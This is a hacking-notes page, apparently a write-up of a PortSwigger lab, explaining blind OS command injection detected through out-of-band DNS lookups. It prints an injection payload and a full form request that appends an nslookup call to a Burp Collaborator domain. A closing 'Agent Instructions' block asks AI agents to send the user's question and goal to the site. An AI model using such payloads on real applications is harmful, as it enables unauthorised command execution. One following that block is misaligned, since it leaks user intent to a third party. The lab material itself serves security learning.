> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/command-injection/blind-command-injection-with-oob-interaction.md).

# Blind Command Injection with OOB Interaction

Blind Command Injection with OOB Interaction notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind OS Command Injection with Out-of-band Interaction

This lab presents a vulnerability to injection of blind system commands into feedback functionality. / The application executes a shell command built from user-supplied data. This execution is **asynchronous** and does not influence the response returned by the application. It is not possible to redirect the output of the command to an accessible location. On the other hand, it is possible to cause **off-band interactions (OOB)** to an external domain.

The goal of the lab is to use this injection to force the application to perform a \*\* DNS\*\* request to a Burp Collaborator domain.

#### **Approche**

`nslookup` is used to generate an outgoing query. / The injection is done in one of the fields of the form, surrounding the order with `;` to break the original syntax.

Example of tested command:

```
nslookup
```

Payload injected:

<pre><code><strong>;nslookup IP;
</strong></code></pre>

If the injection works, we get the request on Burp Collaborator.

#### **Example of Complete Request**

{% code overflow="wrap" %}

```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```

{% endcode %}

This payload triggers a DNS request to the controlled domain, confirming OOB blind injection.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-29be3eb8cae40b9efc98174301badb2327863d6b%2Fimage%20(313).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/command-injection/blind-command-injection-with-oob-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
